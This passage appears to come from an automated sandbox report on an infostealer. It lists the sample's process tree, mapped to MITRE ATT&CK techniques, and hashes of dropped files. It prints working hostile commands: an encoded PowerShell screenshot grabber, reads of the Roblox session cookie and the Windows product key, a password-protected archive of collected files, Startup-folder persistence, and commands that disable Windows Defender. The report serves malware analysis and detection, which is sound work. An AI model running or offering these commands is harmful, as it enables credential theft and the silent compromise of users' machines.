    PID:2448
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:3288
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
    3⤵
    PID:4812
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
      4⤵
      PID:4876
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    PID:5064
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3400
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1128
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wng1lbwc\wng1lbwc.cmdline"
        5⤵
        
        PID:3652
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2100.tmp" "c:\Users\Admin\AppData\Local\Temp\wng1lbwc\CSCECA29EA7FEE4577B4CF648ABC3CA7D4.TMP"
        6⤵
        
        PID:3972
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:4432
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3360
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3496
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    PID:4792
  - - C:\Windows\system32\attrib.exe
      attrib -r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:5024
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:2644
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    PID:3624
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4876
  - - C:\Windows\system32\attrib.exe
      attrib +r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:4584
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:3376
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1324
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:4400
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:4892
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:4584
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3040
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:832
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3264
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:5056
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:64
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:4280
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      PID:1580
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    PID:3168
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:4072
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI33202\rar.exe a -r -hp"1" "C:\Users\Admin\AppData\Local\Temp\UqXoC.zip" *"
    3⤵
    PID:4460
  - - C:\Users\Admin\AppData\Local\Temp\_MEI33202\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI33202\rar.exe a -r -hp"1" "C:\Users\Admin\AppData\Local\Temp\UqXoC.zip" *
      4⤵
      Executes dropped EXE
      PID:4348
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    PID:1560
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      PID:4932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    PID:1892
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      PID:2960
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:408
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:4812
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    PID:3896
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4952
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    PID:4708
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:1976
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    PID:1288
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      PID:748

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  .scr
"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  .scr" /S
1⤵
- Executes dropped EXE
PID:4080
- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  .scr
  "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  .scr" /S
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:3264

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  .scr
"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  .scr" /S
1⤵
- Executes dropped EXE
PID:2416
- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  .scr
  "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  .scr" /S
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:3028

C:\Users\Admin\Desktop\ .scr
"C:\Users\Admin\Desktop\ .scr" /S
1⤵
- Executes dropped EXE
PID:816
- C:\Users\Admin\Desktop\ .scr
  "C:\Users\Admin\Desktop\ .scr" /S
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:4404

C:\Users\Admin\Desktop\ .scr
"C:\Users\Admin\Desktop\ .scr" /S
1⤵
- Executes dropped EXE
PID:3432
- C:\Users\Admin\Desktop\ .scr
  "C:\Users\Admin\Desktop\ .scr" /S
  2⤵
  - Executes dropped EXE
  PID:2932

C:\Users\Admin\Desktop\ .scr
"C:\Users\Admin\Desktop\ .scr" /S
1⤵
PID:3216
- C:\Users\Admin\Desktop\ .scr
  "C:\Users\Admin\Desktop\ .scr" /S
  2⤵
  PID:3512

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr
"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr" /S
1⤵
PID:4968
- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr
  "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr" /S
  2⤵
  PID:3588
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"
    3⤵
    PID:3872
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:2020
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    PID:1176
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:3760
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:3200
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:1772
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:2716
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:1496
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
    3⤵
    PID:3784
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
      4⤵
      PID:3492
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
    3⤵
    PID:2096
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
      4⤵
      PID:4064
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    PID:3376
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:2496

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
8b7446aa8567042f84353e3ab351460c

SHA1
6fa18b3898d2a12d0073725eb8d3ad86a7ab039c

SHA256
ca2cc97f0167f8eca3d5519dd877436d3cb956a6028cc05e0b3bc09400091306

SHA512
408ebbc6c1cfb6fe5f87d4a59fdbae3c6168370f3391b1abada6914039ba87f373177e8788c73eb3841a0c0d9c6f2414d36418f8e382253dab44f298622b7019

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
89b9b22e2cb6f0b903e7f8755f49d7be

SHA1
e13b62b19dccdbacb5fec9227e34f21e34fe5cad

SHA256
17b31393e036af7d83e6ea288a0bbad0278c404f5e0698b3a28f2fa1faa99537

SHA512
f4817348aa7f297c7c81db010bc0ce09c9193c32f0f7c2b0592df0c7731921830b5a3868486f986edfd863d7d82815e67598392b94782b9d317b7066b9fb7064

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
80ba015b952759b33b202d651c14d9b2

SHA1
af902d1a0ad568a3e8d23f0dd78f85454f3420f4

SHA256
bbe34b2a69424a89739ccc0e38e85a656f075c2cf3cd92f2d40abea85dc84d35

SHA512
c4e8cb2369bfd453408d3eb7ac3bd2d0b348ba1d5a369e6a34be1d656d926f0dcbd64ee2bc36b045fdae1db5cbf1b72113a0cbd2bb95a8078502a6e1569a3f9f

Download Submit
C:\Users\Admin\AppData\Local\Temp\4iBNKQZIR5.tmp

Filesize
124KB

MD5
9618e15b04a4ddb39ed6c496575f6f95

SHA1
1c28f8750e5555776b3c80b187c5d15a443a7412

SHA256
a4cd72e529e60b5f74c50e4e5b159efaf80625f23534dd15a28203760b8b28ab

SHA512
